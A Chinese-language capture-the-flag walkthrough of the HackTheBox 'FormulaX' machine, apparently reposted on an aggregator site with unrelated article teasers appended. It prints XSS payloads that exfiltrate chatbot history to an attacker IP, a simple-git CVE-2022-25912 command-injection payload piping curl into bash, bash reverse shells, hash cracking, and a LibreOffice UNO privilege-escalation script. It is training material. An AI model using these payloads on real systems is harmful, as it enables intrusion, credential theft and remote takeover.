[Meachines][Hard]FormulaX

news/2024/9/23 5:08:39/

Main

$ nmap -sC -sV 10.10.11.6 --min-rate 1000

image.png

# echo '10.10.11.6 formula.htb'>>/etc/hosts

创建一个新用户,登录

image.png

来到聊天窗口,发现普通用户无法使用

image.png

来到联系页面,测试跨站

image.png

{"first_name":"<img src='http://10.10.16.6/s-h4ck13'/>","last_name":"2","message":"2"}

image.png

这里无法获取cookie,因为开启了httponly,

image.png

幸运的是服务器开启了跨域资源访问

image.png

在聊天窗口获取到了Chatbot发送消息的源码

image.png

我们通过XSS对管理员进行CSRF攻击,泄露Chatbot的历史记录

//s-h4ck13.js
//利用Websocket来和机器人交互
const script = document.createElement('script');
script.src = '/socket.io/socket.io.js';
document.head.appendChild(script);
script.addEventListener('load', function() {const res = axios.get(`/user/api/chat`);const socket = io('/',{withCredentials: true});socket.on('message', (my_message) => {fetch("http://10.10.16.6/?data=" + my_message)});socket.emit('client_message', 'history');
});

{"first_name":"<img src=x onerror=\"with(top)body.appendChild (createElement('script')).src='http://10.10.16.6/s-h4ck13.js'\">","last_name":"2","message":"2"}

利用管理员身份获取了Chatbot的历史记录

image.png

image.png

获取到了一个新的子域名

# echo '10.10.11.6 dev-git-auto-update.chatbot.htb'>>/etc/hosts

image.png

image.png

通过漏洞库搜索Simple-git在3.15之前存在一个RCE漏洞
CVE-2022-25912
image.png

image.png

const simpleGit = require('simple-git')
const git2 = simpleGit()
git2.clone('ext::sh -c touch% /tmp/pwn% >&2', '/tmp/example-new-repo', ["-c", "protocol.ext.allow=always"]);
# reverse.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.6/10032 0>&1

在Remote Git Url栏中输入payload

ext::sh -c curl% http://10.10.16.6/reverse.sh|bash

image.png

$ netstat -lnput

可以看到MariaDB(3306),mongoDB(27017)数据库开放,我们在web目录下寻找数据库配置文件

image.png

$ find ./ -type f -name '*db*' | while read -r file; do filename=$(basename "$file") if [ ${#filename} -le 15 ]; then echo "$file" fi done

image.png

$ cat ./app/configuration/connect_db.js

image.png

我们没有访问MariaDB的权限,但是可以访问mongoDB

image.png

> use testing
> show collections
> db.users.find()

image.png

image.png

恰好frank_dorky用户也存在该主机

$2b$10$hrB/by.tb/4ABJbbt1l4/ep/L4CTY6391eSETamjLp7s.elpsB4J6

$ echo "\$2b\$10\$hrB/by.tb/4ABJbbt1l4/ep/L4CTY6391eSETamjLp7s.elpsB4J6">hash

$ hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt

image.png

image.png

username:frank_dorky
password:manchesterunited

image.png

User Flag

$ cat /home/frank_dorky/user.txt

image.png

e079c692881778c3880454b025b906b0

Root Flag

权限不足

image.png

$ netstat -lnput

在之前3000端口上开放了一个web服务

image.png

image.png

我们通过ssh进行隧道代理把3000端口映射到kali

[kali]

$ ssh -L 3000:127.0.0.1:3000 frank_dorky@10.10.11.6

image.png

https://github.com/librenms/librenms
LibreNMS 是一个开源的网络监控系统,用于监控网络设备、服务器和服务的性能和状态。它提供了广泛的功能,包括自动发现、性能图表、警报通知、日志记录和自定义报告等,可帮助网络管理员和运维人员实时监控和管理其网络基础设施
image.png

在/opt/librenms 目录有一些LibreNMS官方提供调试脚本,可供测试

但是frank_dorky用户和www-data用户均无法ls读取这个目录内文件,但是可以进入该目录执行脚本

image.png

$ ./validate.php

可以确定版本是22.10.0

image.png

在披露中,我们可以通过/opt/librenms/config_to_json.php来获取数据库的配置

image.png

kai_relay这个用户在我们的/etc/passwd也存在

image.png

username:kai_relay
password:mychemicalformulaX

再次通过ssh登录kai_relay用户

image.png

$ groups;id;sudo -l

image.png

$ cat /usr/bin/office.sh

image.png

在无界面模式下启动 LibreOffice 或 OpenOffice 的 Calc(电子表格程序),并且通过指定的端口接受连接请求,不恢复以前的文档,不显示 logo,并且不使用默认模板。

将exp.py上传到服务器

# exp.py
#! /usr/bin/env python3
import uno
from com.sun.star.system import XSystemShellExecutelocal = uno.getComponentContext()
resolver = local.ServiceManager.createInstanceWithContext("com.sun.star.bridge.UnoUrlResolver", local)
context = resolver.resolve("uno:socket,host=localhost,port=2002;urp;StarOffice.ComponentContext")
rc = context.ServiceManager.createInstance("com.sun.star.system.SystemShellExecute")
rc.execute("bash", "/tmp/reverse.sh", 1)
# reverse.sh
bash -i >& /dev/tcp/10.10.16.6/10034 0>&1

[靶机]
$ cd /tmp
$ curl http://10.10.16.6/exp.py -O;chmod +x exp.py
$ curl http://10.10.16.6/reverse.sh -O;chmod +x reverse.sh
image.png
$ sudo /usr/bin/office.sh
image.png

再开一个ssh

$ cd /tmp
$ netstat -lnput
可以看到127.0.0.1:2002开放了
$ python3 exp.py

image.png

image.png

838cf791e70b35799984bae602e49f0e

在/opt/librenms中存在一个添加用户的php文件,你可以用./addUser.php username password 来进行添加用户,然后对3000端口web服务进行getshell,但是对于本实验中没有太大的用处


http://www.ppmy.cn/news/1445900.html

相关文章

springboot如何使用RedisTemplate

第一步&#xff1a;创建一个spring boot项目 第二步&#xff1a;pom导入redis相关依赖 <!--reids依赖--> <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-data-redis</artifactId> </depen…

贪吃蛇大作战【纯c语言】

如果有看到不懂的地方或者对c语言某些知识忘了的话&#xff0c;可以找我之前的文章哦&#xff01;&#xff01;&#xff01; 个人主页&#xff1a;小八哥向前冲~-CSDN博客 所属专栏&#xff1a;c语言_小八哥向前冲~的博客-CSDN博客 贪吃蛇游戏演示&#xff1a; 贪吃蛇游戏动画演…

git 重命名文件,提交后,此文件的提交记录丢失

零、问题现象&#xff1a; 文件重命名后&#xff0c;提交到 git 仓库&#xff0c;发现重命名操作 变成 删除旧文件&#xff0c;新增一个新文件&#xff0c;原来文件的提交记录丢失&#xff0c;看不到了。 一、正确的重命名提交方法 1.1、 先执行add命令来将修改内容后的文件…

富格林:可信方针实现安全盈利

富格林指出&#xff0c;现货黄金一直以来都是投资者们追捧的热门品种之一。其安全性和保值增值的特性吸引着广大投资者。然而&#xff0c;要在现货黄金市场中取得成功并非易事&#xff0c;是需要一定的可信技巧和方针来支撑的。下面富格林将介绍一些关键的可信方针&#xff0c;…

【DevOps入门到精通】导读:探索软件开发与运维的协同之道

目录 DevOps简介 专栏结构概览 第一部分&#xff1a;入门阶段 DevOps概述 核心实践 工具与环境 第二部分&#xff1a;提高阶段 深入CI/CD 自动化测试进阶 监控与日志 第三部分&#xff1a;精通阶段 容器化与微服务架构 DevSecOps 高级监控与优化 第四部分&#…

游戏新手村23:游戏数据分析都是谁在看数据

不管是做端游页游还是手游&#xff0c;不管是做市场广告投放还是游戏运营&#xff0c;都需要看数据。有的人说“数据会说话”&#xff0c;也有人说“数据会说谎”&#xff0c;有的人言必谈大数据&#xff0c;有的人则能善于从细小的数据着手发现问题。 我知道和了解的一些游戏…

如何维护 Oracle B*tree 索引。 多列index是合并一起指向rowid的

尽管这是一份较旧的文档&#xff0c;但以下信息仍与更高版本相关。 Although this is an older document, the information below is still relevant to later versions. 范围 它旨在帮助试图了解如何维护 Oracle B*tree 索引的用户。 详 Oracle 版本 8 提供了五种索引方案…

Git 最佳实践规范

Git 分支的命名约定 当我们使用代码版本控制时&#xff0c;我们应该遵循的主要良好实践之一是为分支、提交、拉取请求等使用清晰且描述性的名称。确保所有团队成员的简洁工作流程至关重要。除了提高生产力之外&#xff0c;记录项目的开发过程还可以简化团队合作。通过遵循这些做…